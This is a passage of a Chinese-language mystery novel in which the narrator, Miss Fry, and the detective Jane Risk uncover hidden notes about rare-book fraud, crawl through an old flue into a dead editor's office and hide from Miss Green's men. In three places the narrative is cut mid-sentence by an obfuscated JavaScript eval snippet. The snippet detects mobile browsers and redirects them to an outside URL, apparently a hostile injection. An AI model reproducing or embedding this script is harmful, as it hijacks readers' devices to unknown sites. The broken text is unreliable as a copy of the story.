麻雀攥紧硬币，眼睛亮亮的，用力点点头，像来时一样，悄无声息地溜到房间角落一个堆满杂物的窗户边，熟练地打开插销，瘦小的身影瞬间消失在窗外。 房间再次安静下来，只剩下旧纸张和机油的味道，以及那两张寒酸却致命的“情报”躺在简的手心。 她沉默了几秒，将照片和纸片仔细折好，塞进风衣内袋。 然后，她的目光转向我，最终落在我怀里的公文包上。 5. 1.4 “现在，小姐，”她的声音压得极低，“小心点，别紧张。” 我的手指依旧冰凉，带着微颤，指尖触到了厚厚一沓边缘有些卷曲的纸张。 我小心翼翼地将它们抽出来。 不，不是，我的笔记，文稿…… 找到了！ 纸张泛着旧报纸特有的微黄，上面印满了密密麻麻的字，是几份不同书稿的校对清样。 许多地方被红蓝铅笔圈画过，旁边潦草地写着校对员的疑问或修改建议。 这正是艾奥瓦先生让我“有空看看”的内容。 简没有靠近，她依旧站在门后那个便于观察的位置，一只手仍插在风衣口袋里，另一只手对我做了个“摊开”的手势。 我将那叠稿纸在橡木桌唯一一块稍微干净些的角落摊开，强迫自己冷静下来，一页一页地快速翻动，目光扫过那些熟悉的校对标记。 艾奥瓦先生的字迹……我努力辨认着。大部分都是关于语法，拼写或事实性错误的常规质疑。 “有什么特别的地方？”简的声音带着催促。 “大部分……都很正常……”我翻动着，纸张摩擦发出沙沙的轻响，在寂静中格外刺耳。我的心一点点沉下去。 难道……艾奥瓦先生只是随口一提？或者，线索已经被拿走了？ 就在翻到中间一页时，我的手指猛地顿住了。 这份清样是关于一本园艺书籍的。 在描述某种兰花栽培方法的段落旁，艾奥瓦先生用红笔划了一个醒目的问号。 这本身没什么特别。 但问题是，他划问号的地方，文字本身毫无错误！ 那句被质疑的话是：“定期施用稀释的蝴蝶兰专用营养液，可促进花芽分化。” 一个再普通不过的园艺建议。 可我的目光死死地钉在那个词上。 “蝴蝶兰”！ 艾奥瓦先生让我整理过的清单里，“蝴蝶兰”系列是第一批被标记为“折价销毁”的珍本之一！ 我的呼吸骤然急促起来。这不是巧合！他是在用这种方式标记！ “里斯克小姐！”我的声音带着抑制不住的欣喜，指着那个突兀的红问号和它旁边那句看似无害的话。 “‘蝴蝶兰’！清单！他标记了这个词！” 简瞬间动了，她快速来到我身边，浅绿色的眸子锁定了我指的位置。 她没有看那句子，目光直接落在那鲜红的问号上，然后迅速扫过整页，又飞快地翻动前后几页。 “只有这一处？”她语速飞快。 “目前只看到这里！”我立刻开始更仔细地检查其他页。翻动纸张的声音变得更加急促。 很快，在另一份关于建筑修复的清样上，一段描述哥特式教堂的文字旁边，又出现了一个同样的红问号。而这段文字本身……同样毫无问题！ “哥特式！”我低呼出声，心脏狂跳。 “‘哥特式建筑图谱’！”简的声音肯定地确认。 我们几乎同时加快了速度，手指在纸页间翻飞。 第三处问号出现在一份诗集清样里，标记的句子提到了“紫鸢尾在暮色中哭泣”。 “‘紫鸢尾’系列！” 那是清单上第三批被“销毁”的珍本！ 艾奥瓦先生，他一直在用这种方式，在看似无关的校对稿上，标记那些被非法“处理”掉的珍本书名！ 简的动作没有丝毫停顿。她迅速将这些带有标记的清样抽出来，平铺在桌上。 她仔细检查着问号周围的空白处，甚至拿起一张纸对着昏暗的灯光查看是否有隐藏的水印或压痕。她甚至凑近闻了闻纸张的味道。 “没有暗语？没有其他标记？”她像是在问自己，又像是在问我，眉头紧锁。 “只有……只有这些问号……”我茫然地摇头。 简沉默了几秒，那几秒钟长得像一个世纪。突然，她的眼神锐利地一闪，仿佛捕捉到了什么。 她猛地转身，快步走向那个巨大的书架。 她的手指在塞满书籍和瓶瓶罐罐的架子间精准地移动，最终停在一个不起眼的深棕色小玻璃瓶上。瓶身上没有任何标签。 简利落地拔掉软木塞，将瓶子拿到桌边。她没有丝毫犹豫，从桌上一堆杂乱的工具里精准地捡起一支细小的，几乎被遗忘的画笔（可能是用来标记地图的），探入瓶中蘸取了少量无色透明的液体。 “手电筒，”她简洁地命令，目光紧紧盯着那三个红问号，“或者……把煤油灯挪近点！” 我慌忙将桌上那盏沉重的黄铜煤油灯拖到清样纸上方，昏黄的光线集中投射在那红色标记上。 简屏住呼吸，用蘸着液体的画笔，极其小心地轻轻涂抹在第一个标记着“蝴蝶兰”的红问号上。 一秒……两秒…… 那鲜红的铅笔印记，在灯光的映照和那神秘液体的浸润下，竟然开始发生肉眼可见的变化！ 在那红色之下，原本应该是空白纸张的地方，一行极其细小却无比清晰的深蓝色字迹，缓缓显现出来！ 那字迹，正是艾奥瓦·霍顿先生那熟悉的，一丝不苟的笔迹！ ‘蝴蝶兰’：单号#H-11111（伪）。康诺特公爵（匿）。佣金入‘金环蛇’（劳埃德码头）。格林经手。 空气仿佛被彻底抽干。我感到有些难以呼吸。 煤油灯的光晕在纸上跳跃，康诺特公爵的名字像冰冷的蚂蚁，给我带来密密麻麻的寒意。 康诺特公爵，那可是全英国都极有名望的贵族！ 哦！上帝啊！想想他的美名，他的财富，他的势力，我们如何应对？ 简的注意点却与我完全不一样。 “金环蛇……”简低语着，沉闷里却带着千钧的重量。 “罪恶的老对手。”那语气里没有惊讶，只有确认后的凝重，仿佛揭开的是一道早已预料却依旧触目惊心的旧伤疤。 她没有丝毫停顿，画笔迅速，精准地涂抹在标记着“哥特式”的红问号上。 《哥特式建筑图谱》：未毁。流向美国。流水：‘金环蛇’。 哦！美国！这已经牵扯到了跨国走私！我在一旁震惊着，里斯克小姐的动作却继续着。 ‘紫鸢尾’：伪毁（单号#Z-2222），黑市交易，买家：纽约‘加得珍本’代理人，凭证被我藏进了书架里的《牛津词典》，扉页夹里。 死寂。 绝对的死寂笼罩了房间。 只有煤油灯芯燃烧发出的轻微噼啪声，以及我们两人沉重到几乎无法承受的呼吸声。 那些小小的蓝色字迹，如同投入死水的深海鱼雷，炸起的不是水花，而是滔天的血浪和足以将整个圣玛丽出版社乃至背后牵扯到的权贵撕碎的罪证！ 亲爱的读者，看到这，你肯定明白，我们当时到底身处多么恐怖的犯罪巨网中。 哦！上帝啊！ 霍金斯和格林……只是两只在浅滩啄食的乌鸦。真正盘踞在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973577|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阴影深处，是那只名为“金环蛇”的庞然大物。而警察，也是完全不可尽信。 而我，这个被卷入其中的羔羊，如何去与他们对抗，等待我的，难道只有罪责或者如同艾奥瓦先生那样吗？ “哦！这太可怕了。里斯克小姐，怎么办？难道我真的要成为那个所谓的凶手了吗？” 我几乎快哭出来了，简却伸手握住了我，“不会的，弗瑞小姐，我向你保证。” 亲爱的读者，我该怎么说呢？ 任何人，真的，绝不是我夸大，只要看见她注视着你的那双浅绿色眼睛，听到她肯定的话语，都会没由来的信任她。 而她，里斯克小姐，确实做得到。 她的脸在摇曳的光影中半明半暗，下颌的线条绷紧如刀锋。 那双浅绿色的眼眸深处，不再是愤怒的火焰，而是面对深不见底的黑暗时，淬炼出的，冰冷的，足以切割钢铁的锋芒。 她的视线转向我，那目光复杂而沉重。 “收好。”她的声音恢复了那种近乎冷酷的平静，“每一张纸。你看到的，现在都沾着血。” 她的手，终于从风衣口袋里抽了出来。那把手枪冷硬的线条在昏暗光线下泛着幽光，枪口沉稳地垂向地面。 她走向房间深处一个被泛黄地图和杂物半掩着的厚重壁柜，没有犹豫，猛地拉开柜门。 后面，不是一个柜子，而是一个狭窄，深不见底的洞口，一股混合着潮湿霉味和泥土腥气的冷风，无声地扑面而来。 她侧身让开通道，声音低沉而坚决。“我们得为小姐你争取足够的筹码。” “小姐？待在这，还是和我一起？”简用她浅绿色的眼睛盯着我，神色认真。 “我…我和你一起！” 亲爱的读者们。我不知道当你们面对这种情况会如何选择，但是，我不愿意坐以待毙， 而且，当时的里斯克小姐给了我极大的安全感，我不太想和她分开。 我的手指几乎是痉挛地开始收拾桌上的纸页。 那些带着幽蓝字迹的清样，如此罪恶沉重，却又轻飘飘的没有一丝分量。 我小心地将它们夹进其他校对稿中间，塞回公文包的深处。然后钻进了那个狭窄的洞口。 当时的我完全不知道自己要通往何方，黑暗笼罩着我，这一切，自我失业开始，对于一个曾经循规蹈矩的淑女小姐来说，都太超过了。 也许有读者会质疑我，作为一个议员的女儿，我为什么不去求助自己的家族。 事实上，我不敢也不能，我完全无法肯定我的家族还有我的父母，是否会帮我。 即使不是我做的，即使我只是被陷害，更大的可能也只是我被除名，为了家族的名誉。 哦，我的父母当然会伤心，会私下落泪，但那是“没有办法的事情”，是“为了更大的利益”。 议员的女儿卷入珍本欺诈，谋杀疑云？这足以让整个家族蒙羞，让父亲的仕途蒙上阴影。 亲爱的读者，你们明白吗？我当时几乎是孤注一掷地，像抓住最后一根救命稻草般，去信任简·里斯克。这个我只见过几面，神秘莫测，行动如风，口袋里揣着手枪的小姐。 她的世界离我如此遥远，却又是我唯一能抓住的，通往清白的路径。幸运的是，后来的事实证明，这近乎绝望的信任，结果还不赖。 只是当时，在那条通往未知的，散发着霉味和死亡气息的黑暗地道里，我所能感觉到的，只有刺骨的寒冷和无边的恐惧。 6. 1.5 没有停顿，没有回头。只有绝对的信任，或者说是别无选择的紧迫感，在无声地鞭策着我。 身后的壁柜门被简无声地合拢，绝对的黑暗降临。只有简手中的光源是黑暗中唯一的浮标。 这地道里霉味和地下水特有的腥臭气浓得化不开，钻进鼻腔，直冲大脑。 “跟着我，别怕。”简牵着我的手在通道里前进着，每一次呼吸都带着沉重的回音，在空洞的空间里放大，敲打着我紧绷的神经。 我们在类似城市下水道的地方穿行，上面是人群，马车，汽车的鸣笛。 混乱和喧嚣在我们之上，沉默与凝重在我们之间蔓延。 不知走了多久（在这样的环境中，我几乎完全没法感知时间）。 简的脚步停下了。 我学着简的样子，侧耳贴在冰冷的石壁上，凝神细听。 远处，隔着厚厚的土层和砖石，隐约传来模糊的警笛声和嘈杂的人声。 “上面是废弃巷，”简的声音压得极低，带着一种对城市阴暗角落的熟稔。 “警察和霍金斯的人把正门堵死了，注意力都在那边。这是我们唯一的机会。” 她摸索着墙壁上方，用力推动了一块不起眼的凸起。 一阵轻微的摩擦声后，头顶透下一线微弱的光，一股混合着垃圾腐臭和潮湿霉味的空气涌了进来。 简利落地攀上去，然后伸出手。我抓住她冰冷但有力的手，借力爬出。 我们身处一条狭窄得几乎只能侧身通过的缝隙，两侧是高耸斑驳的建筑物后墙。 这里堆满了废弃的木箱和腐烂的杂物，污水在脚下形成肮脏的水洼。远处正门的喧嚣被建筑物阻隔，显得沉闷而遥远，反而衬得这条巷子如同被遗忘的角落。 天主垂怜。 我完全不知道，也无法想象，那么鲜亮的梅菲尔区的大街背面会存在这么肮脏，混乱的巷子，好似只是为了垃圾和废水而存在的。 “出版社的旧锅炉房卸货口，”简指着前方不远处一扇几乎被铁锈和藤蔓覆盖的低矮的铁栅栏门，“废弃很久了，连着地下室。霍金斯那种人，不会记得这种地方。” 这太令人惊讶了！ 我是说，里斯克小姐并不是出版社的人，可她却知道这么一条巷子，甚至知道这种久远而隐蔽的人口。 “这没什么。亲爱的弗瑞，你知道的，我是一个混迹于三教九流的私家侦探。我有很多不起眼但非常重要的朋友。” 简后来听了我的感叹，只是从报纸上抬起了头，用着往常的笑容和漫不经心的语气这么说着。 这可不是没什么。但是，好吧，让我们先回到那个破败巷子里的出版社旧锅炉房卸货口。回到当时的那个时刻。 简的动作没有丝毫犹豫。 她蹲下身，双手抓住那扇几乎看不出原貌的铁栅栏门底部，伴随着令人牙酸的金属声，门被向上提起，只打开一道勉强容人匍匐钻过的缝隙。 “快！”简的声音短促而清晰，不容置疑。 我立刻伏低身体，公文包紧紧抱在怀里，几乎是贴着地面爬了进去。 浓重的灰尘味混合着陈年的煤烟味扑面而来，呛得我忍不住低咳了一声。 身后，简紧随而入，迅速将那沉重的铁门放下。 沉闷的撞击声在狭小的空间里回荡，我们再次陷入了伸手不见五指的黑暗里。 简手中的光源再次亮起，还是那支小巧但亮度集中的手电筒。光柱刺破黑暗，扫过眼前的空间。 我们身处一个低矮压抑的地下室。 巨大的锅炉被废弃在一旁。地面上堆积着不知多少年的煤渣，碎木片和各种废弃杂物，空气污浊不堪，灰尘在光柱中狂乱地飞舞。 “这里是旧锅炉房的地下储煤室，”简的声音在空旷的室内显得格外清晰，带着回音，“上面一层才是真正的锅炉操作间。” “这并不理智，里斯克小姐。”我小心翼翼地跟着简，“霍金斯，格林，甚至警察一定都在上面，我们要怎么拿到东西。还有，万一警察过来了怎么办？” 是的，拿东西，拿霍顿先生留给我们的重要的“筹码”，那本牛津词典夹层里的证据！ 但是，这真的太不理智了！ 简没有立刻回答。 她的手电光柱冷静地扫过我们脚下厚厚的煤渣层，又移向旁边一个被粗暴撬开，半掩着的破旧铁皮工具箱。几件沾满煤灰的工具散落在地。 她的嘴角勾起一丝近乎嘲讽的弧度，靴尖轻轻踢了踢那箱子，发出沉闷的金属撞击声。 “看看这些‘杰作’，”她的声音带着一种轻蔑。 “新鲜的脚印，杂乱无章。工具箱被砸开，工具像垃圾一样扔着。这是搜查吗？不，本小姐？这是霍德华式的大扫除，动静够大，灰尘够多，报告上能写满一页纸，就足够了。” 她用手电光指向麻袋上几处明显的崭新的撕裂痕迹。 “他们来过这里，也许是昨天也许是半小时前，翻检过这些东西，甚至可能踢了踢你所在的地面。然后呢？” 她发出一声短促的笑。 “然后他们就带着一身煤灰和‘已彻底搜查地下室’的满足感，上去向他们的警督大人复命了。官僚的搜查就像廉价怀表的发条，响过一声，就认为使命完成了。这种地方……他们连多待一秒都嫌脏了制服。放轻松，弗瑞小姐，他们不会过来的。” “可证据在楼上！在艾奥瓦先生的办公室里！我们根本不可能避开人上去！” “谁说要走楼梯？” 简轻笑，她的手电光柱猛地一转，刺破飞舞的煤灰，照在锅炉后方墙壁上，一个被厚重铁板封住的直径约两英尺的圆形洞口！ “那是什么？”我惊愕地问。 “旧主烟道，”简的声音带着一种了然，“直通锅炉操作间，更重要的是……” 她快步走过去，伸手抹开铁板边缘厚厚的煤灰，露出一行几乎被锈迹覆盖的、模糊的铸造铭文，“……看这里，FLOOR 2, RM 14。” 我的心跳瞬间漏了一拍！14！那是艾奥瓦·霍顿先生的办公室编号！ “上帝啊…”我低呼出声，“它…它通到艾奥瓦先生办公室的壁炉？” “很大可能。”简的指尖划过那些锈死的螺栓，眉头紧锁。 “这种老式建筑，主管办公室常有独立的装饰性的小壁炉，有时候会共用主烟道系统作为排烟口，或者至少留有检修通道。” “你从一开始就是这么打算的？！”我立刻明了面前的人的想法。 这太疯狂了。 去爬一个不知道废弃多久的烟道！甚至要避开警察，敌人，上面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973578|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有可能走过的每一个人！ 简猛地拉住我的手腕，她的脸在晃动的手电光下半明半暗，浅绿色的眼睛充斥着我不懂的东西。 “本，我们必须去赌一把，我们没有时间了，如果等霍金斯他们发现，等‘金环蛇’的毒牙探入警察局的证物室……这些能绞死他们的铁证就会被付之一炬，或者变成指控你谋杀的新‘证据’！到那时，弗瑞…我们……” “我知道了。” 那冰冷的话如击碎了我最后一丝犹豫。 恐惧依旧存在，但被一种更强大的求生的决绝所覆盖。 “帮我把光打稳，弗瑞，”她的声音异常冷静，“照准螺栓根部。” 我双手死死握住手电筒，光束聚焦在那锈成一团的螺栓上，手心的汗让金属外壳冰冷滑腻。 简从风衣内侧另一个口袋，摸出了一个小巧却沉甸甸的工具，一把结构精密的管钳。她将管钳的卡口精准地卡在螺栓底座，身体微微下沉，手臂的肌肉在风衣下绷紧。她深吸一口气，猛地发力！ “嘎吱——！” 令人牙酸的金属摩擦撕裂声在死寂的地下室猛然炸响！简紧抿着唇，再次发力！ “咔！嘣！” 一声脆响！第一颗锈蚀的螺栓终于屈服，断裂开来！ 接着一颗又一颗…… 每一声断裂都如同惊雷，在这空间里回荡，震得心脏几乎要跳出喉咙。 每一次声响都让我感觉头顶上的地板随时会被人踩响！灰尘在光束中疯狂地舞蹈。 当最后一颗螺栓断裂，简的额头已渗出一层细密的汗珠。她收起管钳，双手扣住铁板冰冷的边缘。 “准备好，”她低声道，声音带着一丝不易察觉的喘息，“里面可能更糟。” 我和她一起用力，沉重的铁板在刺耳的摩擦声中被缓缓拉开。 一股比地下储煤室浓烈十倍的恶臭猛地从黑洞洞的烟道口喷涌而出，瞬间灌满了我们的鼻腔和肺部！ 哦！天呐！ 哦！抱歉！这真的！好吧，我真的不想回忆那恶心可怖的味道！但真的！太糟糕了！ 我胃里一阵翻江倒海，几乎当场呕吐出来。手电光柱颤抖着探入烟道。 里面是望不到尽头的黑暗。肮脏，恶臭，它不像管道，更像一条择人而食的恶魔喉咙。 而我们的目标，艾奥瓦先生那间此刻可能正被严密“保护”着的办公室，就在这令人窒息的黑暗烟道的尽头。 简用手背抹去下巴上的汗，检查了一下风衣的纽扣，将手枪插回口袋但确保能随时拔出，然后毫不犹豫地，第一个将身体探入了那散发着死亡气息的狭窄洞口。 “跟紧我，”她的声音从烟道深处传来，带着沉闷的回响和不易察觉的关切，“小心点。” 当然，当时的我尚未了解简·里斯克小姐。尚未明白，她总是这样，为了效率与一击毙命，无视风险与不安，将其他更为稳妥的方案抛之脑后。 “事实上，弗瑞，当时我已经下了决定，只要你害怕或者明确拒绝，我会独自一人，或者带你选择其他方式，但是，你很勇敢，你没有拒绝。”后来，简用她浅绿色的眼睛看着我说。 “一切都太迅速了，绝对是肾上腺素的原因！”我又气又恼。 但是，亲爱的读者，这一切，都足够奇妙，不是吗？ 7. 1.6 我们在废弃的烟道里爬行着。 黑暗，恶臭，还有一些更糟糕的东西，哦，我亲爱的读者，你们不会想知道的。 我只能低着头，机械地跟随，每一次移动都伴随着疼痛，我的手心和膝盖正被无情地磨损。 “左转，小心头顶。”简的声音短促传来。 我费力地抬起头，只见前方管道陡然向下倾斜，形成一个近乎直角的弯道。 简像猫一样灵活地蜷缩身体，几乎是贴着管壁滑了下去，消失在弯道下方。 轮到我了。 心脏狂跳，我笨拙地模仿着她的动作，身体紧紧贴住冰冷的管壁，一点点向下挪动。 公文包碍事地卡在胸前，我不得不用一只手死死抓住它，另一只手徒劳地在滑腻的壁上寻找支撑点。 突然，脚下一滑！ 身体瞬间失去平衡向下坠去！ “啊！”一声短促的惊呼卡在喉咙里。 就在我以为要狼狈地滚下去时，一只手猛地从下方黑暗中伸出，精准地抓住了我的手腕！冰冷，但力量惊人。 “稳住！”简的声音近在咫尺。 我惊魂未定，借着微弱的光线，看到她就在下方狭窄的弯道里，身体以一种不可思议的角度支撑着，为我提供了唯一的锚点。 我借力稳住身体，狼狈地滑落到她身边。 两人挤在狭窄的弯道里，几乎脸贴着脸，急促的喘息声在管道里混合着，浓烈的煤灰味和彼此身上沾染的恶臭交织。 “没事吧？”她关切的看着我问。 我摇了摇头，“谢…谢谢。”，声音嘶哑。 简没说话，只是用手电快速扫过我的脸和身体，确认我没有受伤，然后用不容拒绝的强硬，从我坏里接过了公文包。 “抱歉，我的疏忽，我来拿。” 公文包的重量从我的手里消失，简利落地将它夹在自己臂弯里。 这个小小的分担，在这令人窒息的狭窄空间里，竟让我感到一丝奇异的轻松。但这份轻松转瞬即逝，被更紧迫的危机感取代。 简的手电光束再次扫向前方那令人绝望的通道。 “小心，这段更窄。”她的声音压得更低，带着一种不容置疑的紧迫感。 没有多余的言语，她再次率先向前爬去。 我咬紧牙关，强迫麻木的四肢跟上。 目光只能死死盯着前方简那在晃动光束下若隐若现的靴底，将它当作这污秽地狱中唯一的灯塔。 至少，我不是一个人。 时间在绝对的黑暗，恶臭和持续的感官折磨中彻底扭曲拉长。 每一秒都如同酷刑。恐惧如同冰冷的毒蛇，紧紧缠绕着我的心脏。 头顶上是否正有人走过？ 我们的爬行声是否穿透了层层阻隔？ 霍金斯那些手下，会不会突然发现那个被我们撬开的入口？ 那些手肘或膝盖撞上管壁的闷响，都会让我感到恐慌，仿佛那声音会直接引来死神的注视。 “停！”简迅速且轻声说，同时，她猛地按熄了手电！ 黑暗，死寂。 我僵在原地，连一丝呼吸都不敢出。 隔着厚重的砖石和管道，模糊却清晰的脚步声从上方传来！ 不止一个！ 紧接着是交谈声，虽然被层层阻隔得含混不清，但那低沉粗鲁的，偶尔夹杂着下流俚语的语调，像冰锥一样刺穿了我的侥幸。 这绝不是警察！ 他们是什么人？霍金斯豢养的鬣狗？“金环蛇”的手下？ 他们就在上面！就在我们头顶的房间里！或者就在壁炉旁边！ 恐惧让我几乎无法呼吸，我能感觉到前方简的身体也瞬间绷紧。 她的沉默比任何警告都更令人胆寒。 我们如同两只在毒蛇巢穴旁屏息的鼹鼠，蜷缩在肮脏的烟道里，每一根神经都紧绷着，黑暗成了我们唯一的庇护。 那令人窒息的脚步声和粗鲁的交谈声，仿佛在头顶盘桓了整整一个世纪。 终于，它们开始移动，渐渐远去，最终消失在更沉闷的远处。 又过了漫长的几秒，确认危险暂时离开，简才重新拧亮了手电。 “没事的。”简安抚着我，但我清楚地感知到了她的凝重。 我们继续在绝望的黑暗中挣扎前行。在我感觉一起都没有止尽的时候。 简的动作毫无预兆地顿住了。 这一次，她没有熄灯。 她的手电光束，不再是平行照射，而是缓缓向上方斜斜打去。 光柱尽头，不再是望不到头的，令人绝望的管壁。 那里，赫然出现了一道布满厚重锈迹和层层蛛网，但形状清晰无比的，铁栅栏！ 栅栏之外，隐约透来一丝极其微弱的光线！ 不再是手电筒刺目的冷光，而是一种更柔和更自然的光线，还夹杂着一丝…干燥的纸张，旧木头和……尘埃在阳光下飞舞的味道？ 艾奥瓦·霍顿先生办公室的气息！ “到了。”简的声音嘶哑低沉，带着她特有的克制的冷静。 但对于我来说。 哦！天哪！我亲爱的读者，我完全没法向你们形容我那个时候的心情，那简直就是漫长远征终于要迎来胜利结束，喜悦和虚脱就那么砸了下来。 我们头顶上，近在咫尺，就是那间此刻可能正被严密“保护”着的办公室。 那本藏着能扭转乾坤，甚至决定我们生死的证据的牛津词典，就在这道锈蚀铁门的另一边！ 唾手可得，却又被这最后的屏障隔绝。 简没有丝毫犹豫。她再次从风衣内侧（天晓得她到底藏了多少东西在那风衣里）摸出那把管钳。 她将它卡在栅栏最粗的但锈蚀也最严重的一根铁条根部，位置选得刁钻而精准。 然后深深吸了一口气，这动作在污浊的空气中显得格外艰难，手臂的肌肉在紧绷的风衣下清晰隆起。 这一次，她的动作不再是之前撬开地下入口时的迅猛发力，而是极致的谨慎缓慢，每一分力量都控制得恰到好处，力求将金属变形和断裂的声响降到最低。 咯…吱…… 每一次无声的角力，都牵动着我们紧绷的神经。 那些锈蚀的铁条，它们的存在，将决定我们是如同幽灵般悄然潜入， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973579|177843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是瞬间暴露在无数黑洞洞的枪口之下，功亏一篑，坠入万劫不复的深渊。 简的额角沁出细密的汗珠，混合着煤灰，顺着她紧绷的脸颊线条滑落。她的眼神，死死锁住钳口与铁锈的咬合处，专注得仿佛整个世界只剩下那一点。 “嘎嘣！” 锈蚀的铁条终于屈服，从根部断裂开来！ 简的动作瞬间停滞，她屏住呼吸，浅绿色的眼睛在昏暗的光线下锐利如隼，死死盯住铁栅栏上方，侧耳倾听着来自办公室的每一丝动静。 我的心提到了嗓子眼，同样侧耳细听。 没有脚步声。 没有惊呼。 没有枪械上膛的冰冷声响。 只有我们自己沉重压抑的心跳，以及灰尘在光束中缓缓飘落的微响。 安全！ 简紧绷的肩膀极其细微地放松了一丝。她立刻将管钳卡向下一根铁条。 终于，栅栏上撕开了一个不规则的勉强能容一个瘦削之人挤过的缺口。 她小心翼翼地将管钳收回风衣内侧那个神奇的口袋，然后，用那双沾满污垢的手，极其轻柔地抓住缺口边缘那些参差不齐的铁条断茬，将它们向内侧弯曲，尽量避免发出任何刮擦声。金属在无声的扭曲中屈服，缺口的通行性被进一步优化。 做完这一切，简转过头，在几乎完全黑暗的烟道里，我只能勉强看到她脸部的轮廓。 她的声音压得极低，气息几乎直接喷在我的额头上。 “我先上去。确认安全后，我会给你两声信号。无论发生什么，保护好自己，弗瑞。”她的语气带着前所未有的凝重。 简双手攀住被掰弯的铁条断口，身体如同一条无骨的蛇，以一种令人惊叹的柔韧性和力量感，向上探去。 我独自一人留在了绝对的黑暗和令人窒息的恶臭里。 头顶上方的寂静比任何喧嚣都更令人恐惧。每一秒的等待都如同在油锅里煎熬。 我竖起耳朵，捕捉着上方可能传来的任何一丝声响，简落地的声音？抽屉被拉开的声音？亦或是敌人发现她的惊呼？ 没有声音。 绝对的，令人窒息的寂静。 时间仿佛凝固了。 我控制不住地胡思乱想着。 她被发现了吗？她受伤了吗？她是不是正屏息躲在某个角落，而敌人就在几步之外？ 就在这无边无际的寂静几乎要将我逼疯时。 “嗒…嗒…” 两声极其轻微的声音，从栅栏上方传来！ 是简的信号！ 安全！ 我立刻活动僵硬的手脚，模仿着简的动作用力将自己向上拉伸。 挤压！窒息！这并不好受。 我咬紧牙关，强忍着痛楚和令人头晕的压迫感，拼命扭动身体。 终于！上半身探了出去！一股截然不同的干净空气涌入灼痛的肺部。 就在我几乎整个身体都要脱离烟道那令人作呕的束缚，狼狈地跌落在壁炉内时。 “吱呀——！” 老旧木门被推开，紧接着，一个带着浓重鼻音的粗鲁的声音伴随着脚步声如同惊雷一般传来。 8. 1.7 “啧，这鬼地方灰尘真他妈大！真是受够了！” 心脏骤然停跳！我像被掐住死穴的猎物，蜷缩在壁炉内膛的阴影里，一动不敢动，上半身死死地拽住刚刚一直卡着我的栅栏。 我拼尽全力不让自己掉下去，不让自己被发现。哦！我完全不敢想如果这些发生。我，还有简，会面临什么可怖的东西！ 感谢上帝，我相信那个时候祂一定注视着我们的，虽然简总是对此嗤之以鼻，但那个时候我们是真真切切的幸运！ 至少我们没有被发现！ 进来的两个人，其中一个直接走向巨大的橡木书架，开始粗暴地抽动书籍。另一个则踢了踢墙角一个翻倒的废纸篓，嘴里不干不净地咒骂着。 简在哪里？！ 我的目光在昏暗的办公室内疯狂扫视。巨大的办公桌后？厚重的窗帘下？靠墙的书柜阴影里？没有！她像凭空消失了一般！ 她被发现了吗？她躲在哪里？她能听到我的心跳吗？恐惧再一次淹没了我！ 就在这时，一股却异常熟悉的味道渗入了我的鼻子。 那不是灰尘的味道，不是旧书的霉味，也不是那两个打手身上浓重的汗臭和烟草味。 那是一缕……极其清冽冷艳的花香。它像一把淬毒的冰刃，瞬间割裂了污浊的空气，精准地刺入我的记忆深处。 栀子花？不，比栀子花更冷冽，更复杂，带着一丝……危险的甜腻和辛辣。 格林小姐那令人晕乎乎的香水！ 那个在霍金斯身边，永远优雅得体，笑容温和的格林小姐！那个曾对我表示过“善意关怀”的格林小姐！ 她在这里！她就在门外？或者……她就在这附近指挥？ 我屏住呼吸，身体紧贴着冰冷的砖壁。目光死死锁定着那两个翻箱倒柜的打手，祈祷着他们快点离开，祈祷着我们不会被发现。 书架旁那个打手粗暴地抽出一本厚重的精装书，随意翻了翻，骂了句“全是些没用的破烂！”，就“砰”地一声将它扔在地上。他转身，目光似乎不经意地扫过壁炉的方向。 我的血液瞬间凝固！他会发现那个被破坏的栅栏吗？会发现壁炉内膛的异常吗？ 就在这千钧一发之际。 “喂！你们两个蠢货！”一个冰冷，带着不容置疑威严的女声从门口传来！ 那两个打手像被鞭子抽到一样，猛地站直了身体，脸上露出混杂着敬畏和恐惧的表情。 是格林小姐的声音！她果然在！ “翻个书架弄出这么大动静？”她的声音不高，却像冰珠砸落地面，带着刺骨的寒意。“我要的是效率，不是让你们在这里拆房子！滚到楼下去，看看地下室那帮废物有没有偷懒！” “是！是！格林小姐！”两个打手如蒙大赦，忙不迭地应着，几乎是连滚爬爬地冲出了办公室，连门都没顾上关严。 高跟鞋敲击地面的清脆声音响起，不疾不徐，优雅而冰冷。格林小姐似乎向办公室内走了几步。那股独特的花香瞬间浓郁起来，仿佛充满了整个空间。 她停住了。 她能听到我们的呼吸吗？她能闻到我们身上沾染的煤灰和烟道恶臭吗？她是不是已经发现了什么？ 她似乎在环顾办公室。我能想象她锐利的目光扫过每一个角落，包括……这个壁炉。 